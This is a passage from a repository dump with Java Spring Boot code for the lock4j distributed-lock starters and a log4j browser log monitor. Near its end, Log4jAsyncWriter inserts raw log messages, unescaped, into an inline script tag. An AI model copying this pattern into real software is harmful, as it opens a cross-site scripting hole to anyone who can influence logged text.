    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.custom;\n\nimport com.baomidou.lock.DefaultLockKeyBuilder;\nimport org.springframework.stereotype.Component;\n\n/**\n * 自定义lock key builder\n *\n * @author zengzhihong\n */\n@Component\npublic class CustomLockKeyBuilder extends DefaultLockKeyBuilder {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/model/User.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.model;\n\nimport lombok.Data;\n\n@Data\npublic class User {\n\n    private Long id;\n\n    private String name;\n\n    private String address;\n\n    public User(Long id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/service/UserService.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.service;\n\nimport com.baomidou.lock.LockInfo;\nimport com.baomidou.lock.LockTemplate;\nimport com.baomidou.lock.annotation.Lock4j;\nimport com.baomidou.lock.executor.RedissonLockExecutor;\nimport com.baomidou.lock.test.model.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n@Service\npublic class UserService {\n\n    @Autowired\n    LockTemplate lockTemplate;\n\n    private int counter = 1;\n\n    @Lock4j(executor = RedissonLockExecutor.class)\n    public void simple1() {\n        System.out.println(\"执行简单方法1 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n    }\n\n    @Lock4j(keys = \"#myKey\")\n    public void simple2(String myKey) {\n        System.out.println(\"执行简单方法2 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n\n    }\n\n    @Lock4j(keys = \"#user.id\", acquireTimeout = 15000, expire = 1000, executor = RedissonLockExecutor.class)\n    public User method1(User user) {\n        System.out.println(\"执行spel方法1 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n        //模拟锁占用\n        try {\n            int count = 0;\n            do {\n                Thread.sleep(1000);\n                System.out.println(\"执行spel方法1 , 当前线程:\" + Thread.currentThread().getName() + \" , 休眠秒：\" + (count++));\n            } while (count < 5);\n//            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        return user;\n    }\n\n    @Lock4j(keys = {\"#user.id\", \"#user.name\"}, acquireTimeout = 5000, expire = 5000)\n    public User method2(User user) {\n        System.out.println(\"执行spel方法2 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n        //模拟锁占用\n        try {\n            Thread.sleep(4000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        return user;\n    }\n\n    public void programmaticLock(String userId) {\n\n        // 各种查询操作 不上锁\n        // ...\n        // 获取锁\n        final LockInfo lockInfo = lockTemplate.lock(userId, 30000L, 5000L, RedissonLockExecutor.class);\n        if (null == lockInfo) {\n            throw new RuntimeException(\"业务处理中,请稍后再试\");\n        }\n        // 获取锁成功，处理业务\n        try {\n            System.out.println(\"执行简单方法1 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n        } finally {\n            //释放锁\n            lockTemplate.releaseLock(lockInfo);\n        }\n        //结束\n    }\n\n\n    @Lock4j(keys = \"1\", expire = 60000)\n    public void reentrantMethod1() {\n        System.out.println(\"reentrantMethod1\" + getClass());\n        counter++;\n    }\n\n    @Lock4j(keys = \"1\")\n    public void reentrantMethod2() {\n        System.out.println(\"reentrantMethod2\" + getClass());\n        counter++;\n    }\n\n    @Lock4j(expire = 5000, autoRelease = false)\n    public void nonAutoReleaseLock() {\n        System.out.println(\"执行nonAutoReleaseLock方法 , 当前线程:\" + Thread.currentThread().getName() + \" , counter：\" + (counter++));\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/java/com/baomidou/lock/test/util/LockUtilTest.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.test.util;\n\nimport com.baomidou.lock.util.LockUtil;\n\npublic class LockUtilTest {\n\n    public static void main(String[] args) {\n        System.out.println(\"当前JVM Process ID: \" + LockUtil.getJvmPid());\n        System.out.println(\"当前机器MAC地址: \" + LockUtil.getLocalMAC());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-test/src/main/resources/application.yml",
    "content": "spring:\n  redis:\n    host: 127.0.0.1\n  #    password: 123456\n  coordinate:\n    zookeeper:\n#      zk-servers: 127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183\nlogging:\n  level:\n    com.baomidou: debug\nlock4j:\n  acquire-timeout: 3000 #默认值，可不设置\n  expire: 30000 #默认值，可不设置\n  primary-executor: com.baomidou.lock.executor.RedisTemplateLockExecutor #默认redisson>redisTemplate>zookeeper\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-zookeeper-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n  ~\n  ~  Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~  you may not use this file except in compliance with the License.\n  ~  You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~  Unless required by applicable law or agreed to in writing, software\n  ~  distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~  See the License for the specific language governing permissions and\n  ~  limitations under the License.\n  -->\n\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>lock4j</artifactId>\n        <groupId>com.baomidou</groupId>\n        <version>2.2.2</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>lock4j-zookeeper-spring-boot-starter</artifactId>\n    <packaging>jar</packaging>\n\n    <dependencies>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>lock4j-core</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.curator</groupId>\n            <artifactId>curator-recipes</artifactId>\n            <version>${curator.version}</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-zookeeper-spring-boot-starter/src/main/java/com/baomidou/lock/condition/ZookeeperCondition.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.condition;\n\nimport org.springframework.context.annotation.Condition;\nimport org.springframework.context.annotation.ConditionContext;\nimport org.springframework.core.env.Environment;\nimport org.springframework.core.type.AnnotatedTypeMetadata;\n\n/**\n * zookeeper注入条件判断类\n *\n * @author zengzhihong\n */\npublic class ZookeeperCondition implements Condition {\n\n    @Override\n    public boolean matches(ConditionContext conditionContext, AnnotatedTypeMetadata annotatedTypeMetadata) {\n        final Environment environment = conditionContext.getEnvironment();\n        return environment.containsProperty(\"spring.coordinate.zookeeper.zkServers\")\n                || environment.containsProperty(\"spring.coordinate.zookeeper.zk-servers\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-zookeeper-spring-boot-starter/src/main/java/com/baomidou/lock/executor/ZookeeperLockExecutor.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.executor;\n\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.curator.framework.CuratorFramework;\nimport org.apache.curator.framework.imps.CuratorFrameworkState;\nimport org.apache.curator.framework.recipes.locks.InterProcessMutex;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * 分布式锁zookeeper处理器\n *\n * @author zengzhihong\n */\n@Slf4j\n@RequiredArgsConstructor\npublic class ZookeeperLockExecutor extends AbstractLockExecutor<InterProcessMutex> {\n\n    private final CuratorFramework curatorFramework;\n\n    @Override\n    public InterProcessMutex acquire(String lockKey, String lockValue, long expire, long acquireTimeout) {\n        if (!CuratorFrameworkState.STARTED.equals(curatorFramework.getState())) {\n            log.warn(\"instance must be started before calling this method\");\n            return null;\n        }\n        String nodePath = \"/curator/lock4j/%s\";\n        try {\n            InterProcessMutex mutex = new InterProcessMutex(curatorFramework, String.format(nodePath, lockKey));\n            final boolean locked = mutex.acquire(acquireTimeout, TimeUnit.MILLISECONDS);\n            return obtainLockInstance(locked, mutex);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    @Override\n    public boolean releaseLock(String key, String value, InterProcessMutex lockInstance) {\n        try {\n            lockInstance.release();\n        } catch (Exception e) {\n            log.warn(\"zookeeper lock release error\", e);\n            return false;\n        }\n        return true;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-zookeeper-spring-boot-starter/src/main/java/com/baomidou/lock/spring/boot/autoconfigure/ZookeeperLockAutoConfiguration.java",
    "content": "/*\n *  Copyright (c) 2018-2022, baomidou (63976799@qq.com).\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\npackage com.baomidou.lock.spring.boot.autoconfigure;\n\nimport com.baomidou.lock.condition.ZookeeperCondition;\nimport com.baomidou.lock.executor.ZookeeperLockExecutor;\nimport lombok.Data;\nimport org.apache.curator.RetryPolicy;\nimport org.apache.curator.framework.CuratorFramework;\nimport org.apache.curator.framework.CuratorFrameworkFactory;\nimport org.apache.curator.retry.ExponentialBackoffRetry;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.core.annotation.Order;\n\n/**\n * Zookeeper锁自动配置器\n *\n * @author zengzhihong\n */\n@Conditional(ZookeeperCondition.class)\n@ConfigurationProperties(prefix = \"spring.coordinate.zookeeper\")\n@Data\nclass ZookeeperLockAutoConfiguration {\n\n    private String zkServers;\n\n    private int sessionTimeout = 30000;\n\n    private int connectionTimeout = 5000;\n\n    private int baseSleepTimeMs = 1000;\n\n    private int maxRetries = 3;\n\n    @Bean(initMethod = \"start\", destroyMethod = \"close\")\n    @ConditionalOnMissingBean(CuratorFramework.class)\n    public CuratorFramework curatorFramework() {\n        RetryPolicy retryPolicy = new ExponentialBackoffRetry(this.baseSleepTimeMs, this.maxRetries);\n        return CuratorFrameworkFactory.builder()\n                .connectString(this.zkServers)\n                .sessionTimeoutMs(this.sessionTimeout)\n                .connectionTimeoutMs(this.connectionTimeout)\n                .retryPolicy(retryPolicy)\n                .build();\n    }\n\n    @Bean\n    @Order(300)\n    public ZookeeperLockExecutor zookeeperLockExecutor(CuratorFramework curatorFramework) {\n        return new ZookeeperLockExecutor(curatorFramework);\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/lock4j-zookeeper-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "#配置自定义Starter的自动化配置\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.baomidou.lock.spring.boot.autoconfigure.ZookeeperLockAutoConfiguration"
  },
  {
    "path": "jun_springboot_plugin/springboot_lock4j/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <modules>\n        <module>lock4j-core</module>\n        <module>lock4j-redis-template-spring-boot-starter</module>\n        <module>lock4j-redisson-spring-boot-starter</module>\n        <module>lock4j-zookeeper-spring-boot-starter</module>\n        <module>lock4j-test</module>\n    </modules>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.0</version>\n        <relativePath/>\n    </parent>\n\n    <groupId>com.baomidou</groupId>\n    <artifactId>lock4j</artifactId>\n    <version>2.2.2</version>\n    <packaging>pom</packaging>\n\n    <name>lock4j</name>\n    <description>\n        Declarative and programmatic distributed locks based on spring aop with RedisTemplate Redisson Zookeeper\n    </description>\n    <inceptionYear>2018</inceptionYear>\n\n    <licenses>\n        <license>\n            <name>Apache License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0</url>\n        </license>\n    </licenses>\n\n    <organization>\n        <name>baomidou</name>\n        <url>https://gitee.com/baomidou</url>\n    </organization>\n\n    <developers>\n        <developer>\n            <name>zengzhihong</name>\n            <email>63976799@qq.com</email>\n        </developer>\n        <developer>\n            <name>TaoYu</name>\n            <email>tracy5546@gmail.com</email>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://gitee.com/baomidou/lock4j</url>\n        <connection>scm:git:https://gitee.com/baomidou/lock4j.git</connection>\n        <developerConnection>scm:git:https://gitee.com/baomidou/lock4j.git</developerConnection>\n        <tag>HEAD</tag>\n    </scm>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <nexus-staging.version>1.6.8</nexus-staging.version>\n        <maven-gpg-plugin.version>1.6</maven-gpg-plugin.version>\n        <redisson.version>3.13.6</redisson.version>\n        <curator.version>5.1.0</curator.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.0</version>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>versions-maven-plugin</artifactId>\n                <configuration>\n                    <generateBackupPoms>false</generateBackupPoms>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <profiles>\n        <profile>\n            <id>release</id>\n            <distributionManagement>\n                <snapshotRepository>\n                    <id>ossrh</id>\n                    <url>https://oss.sonatype.org/content/repositories/snapshots</url>\n                </snapshotRepository>\n                <repository>\n                    <id>ossrh</id>\n                    <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n                </repository>\n            </distributionManagement>\n            <build>\n                <plugins>\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <version>${maven-gpg-plugin.version}</version>\n                        <executions>\n                            <execution>\n                                <id>sign-artifacts</id>\n                                <phase>verify</phase>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.sonatype.plugins</groupId>\n                        <artifactId>nexus-staging-maven-plugin</artifactId>\n                        <version>${nexus-staging.version}</version>\n                        <extensions>true</extensions>\n                        <configuration>\n                            <serverId>ossrh</serverId>\n                            <nexusUrl>https://oss.sonatype.org/</nexusUrl>\n                            <autoReleaseAfterClose>true</autoReleaseAfterClose>\n                        </configuration>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n\n    <repositories>\n        <repository>\n            <id>aliyun</id>\n            <name>aliyun maven</name>\n            <url>https://maven.aliyun.com/repository/public</url>\n        </repository>\n    </repositories>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/.gitignore",
    "content": "target/\n!.mvn/wrapper/maven-wrapper.jar\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_log4jmonitor</artifactId>\n    <version>1.0</version>\n    <packaging>war</packaging>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.4.2.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-logging</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>commons-logging</groupId>\n            <artifactId>commons-logging</artifactId>\n            <version>1.2</version>\n        </dependency>\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n    </dependencies>\n    <build>\n        <finalName>web</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <mainClass>cn.codeforfun.Application</mainClass>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/Application.java",
    "content": "package com.chitry.log4jmonitor;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.support.SpringBootServletInitializer;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n/**\n * Created by Administrator on 2016/12/8 0008.\n */\n@SpringBootApplication\n@Controller\npublic class Application extends SpringBootServletInitializer {\n\n    @Override\n    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {\n        return builder.sources(Application.class);\n    }\n\n    @RequestMapping(\"/\")\n    public String index() {\n        return \"index.html\";\n    }\n\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/controller/Log4jMonitor.java",
    "content": "package com.chitry.log4jmonitor.controller;\n\nimport com.chitry.log4jmonitor.core.Log4jAsyncWriter;\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.servlet.AsyncContext;\nimport javax.servlet.AsyncEvent;\nimport javax.servlet.AsyncListener;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\n/**\n * @author chitry@126.com\n * @date 2016年9月28日 上午11:36:34\n * @topic 异步获取log日志信息\n * @description TODO\n */\n@Controller\npublic class Log4jMonitor extends HttpServlet {\n\n    private static Logger log = Logger.getLogger(Log4jMonitor.class);\n\n    @RequestMapping(\"/log4jmonitor\")\n    @ResponseBody\n    public void log4jmonitor(HttpServletRequest request, HttpServletResponse response) throws IOException {\n        response.setContentType(\"text/html;charset=UTF-8\");\n        response.setHeader(\"Cache-Control\", \"private\");\n        response.setHeader(\"Pragma\", \"no-cache\");\n        response.setCharacterEncoding(\"UTF-8\");\n        PrintWriter writer = response.getWriter();\n        writer.println(\"<!-- author by chitry@126.com -->\\n\");\n        writer.flush();\n        final AsyncContext ac = request.startAsync();\n        ac.setTimeout(1 * 60 * 60 * 1000);//1小时\n        ac.addListener(new AsyncListener() {\n            public void onComplete(AsyncEvent event) throws IOException {\n                ac.getResponse().getWriter().close();\n                Log4jAsyncWriter.deleteAc(ac);\n                log.info(\"AsyncListener onComplete\");\n            }\n\n            public void onTimeout(AsyncEvent event) throws IOException {\n                ac.getResponse().getWriter().close();\n                Log4jAsyncWriter.deleteAc(ac);\n                log.info(\"AsyncListener onTimeout\");\n            }\n\n            public void onError(AsyncEvent event) throws IOException {\n                ac.getResponse().getWriter().close();\n                Log4jAsyncWriter.deleteAc(ac);\n                log.info(\"AsyncListener onError\");\n            }\n\n            public void onStartAsync(AsyncEvent event) throws IOException {\n                log.info(\"AsyncListener onStartAsync\");\n            }\n        });\n        Log4jAsyncWriter.addAc(ac);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/controller/Sniff.java",
    "content": "package com.chitry.log4jmonitor.controller;\n\n\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * @author chitry@126.com\n * @date 2016年9月28日 上午11:36:59\n * @topic 打印log日志\n * @description 此servlet用于测试，以便看到效果\n */\n@Controller\npublic class Sniff extends HttpServlet {\n\n    private static Logger log = Logger.getLogger(Sniff.class);\n\n    @RequestMapping(\"/sniff\")\n    @ResponseBody\n    public void sniff(HttpServletRequest request, HttpServletResponse response) {\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/controller/TestController.java",
    "content": "package com.chitry.log4jmonitor.controller;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * Created by Administrator on 2016/12/8 0008.\n */\n@Controller\npublic class TestController {\n    private Logger log = Logger.getLogger(TestController.class);\n\n    @RequestMapping(\"/test\")\n    @ResponseBody\n    public String test() {\n        log.info(\"看看\");\n        log.debug(\"看看\");\n        log.error(\"看看\");\n        System.out.println(\"看看\");\n        return \"看看\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/core/Log4jAppender.java",
    "content": "package com.chitry.log4jmonitor.core;\n\nimport org.apache.log4j.Layout;\nimport org.apache.log4j.WriterAppender;\n\nimport java.io.Writer;\n\n/**\n * @author chitry@126.com\n * @date 2016年9月28日 上午11:37:44\n * @topic log4j日志输出\n * @description TODO\n */\npublic class Log4jAppender extends WriterAppender {\n\n    private Writer writer = new Log4jAsyncWriter();\n\n    public Log4jAppender() {\n        setWriter(writer);\n    }\n\n    public Log4jAppender(Layout layout) {\n        this();\n        super.layout = layout;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_log4jmonitor/src/main/java/com/chitry/log4jmonitor/core/Log4jAsyncWriter.java",
    "content": "package com.chitry.log4jmonitor.core;\n\nimport org.apache.commons.logging.Log;\nimport org.apache.commons.logging.LogFactory;\n\nimport javax.servlet.AsyncContext;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.io.Writer;\nimport java.util.Queue;\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\n\n/**\n * @author chitry@126.com\n * @date 2016年9月28日 上午11:38:46\n * @topic 异步输出\n * @description TODO\n */\npublic class Log4jAsyncWriter extends Writer {\n\n    private static final Log log = LogFactory.getLog(Log4jAsyncWriter.class);\n\n    /**\n     * AsyncContext队列\n     */\n    private static final Queue<AsyncContext> acQueue = new ConcurrentLinkedQueue<AsyncContext>();\n\n    /**\n     * log消息队列\n     */\n    private static final BlockingQueue<String> msgQueue = new LinkedBlockingQueue<String>();\n\n    /**\n     * 添加AsyncContext对象到队列\n     *\n     * @param ac\n     */\n    public static void addAc(AsyncContext ac) {\n        acQueue.add(ac);\n    }\n\n    /**\n     * 删除AsyncContext队列对象\n     *\n     * @param ac\n     */\n    public static void deleteAc(AsyncContext ac) {\n        acQueue.remove(ac);\n    }\n\n    /**\n     * 构造AsyncContextQueueWriter 异步线程，当消息队列中被放入数据，将释放take方法的阻塞，将数据发送到http\n     * response流上\n     */\n    public Log4jAsyncWriter() {\n        Thread notifierThread = new Thread(new Runnable() {\n            public void run() {\n                while (true) {\n                    try {\n                        String message = msgQueue.take();\n                        for (AsyncContext ac : acQueue) {\n                            AsyncContext asyncContext = ac;\n                            try {\n                                PrintWriter acWriter = ac.getResponse()\n                                        .getWriter();\n                                acWriter.println(\"<script type='text/javascript'>\\nwindow.parent.update(\\\"\"\n                                        + message.replaceAll(\"\\n\", \"<br/>\")\n                                        .replaceAll(\"\\r\", \"\")\n                                        + \"\\\");</script>\\n\");\n                                acWriter.flush();\n                            } catch (IOException ex) {\n                                acQueue.remove(asyncContext);\n                                log.error(\"Log4jAsyncWriter IOException 异常!\");\n                            }\n                        }\n                    } catch (InterruptedException iex) {\n                        log.error(\"Log4jAsyncWriter InterruptedException 异常! msgQueue.take()\");\n                    }\n                }\n            }\n        });\n        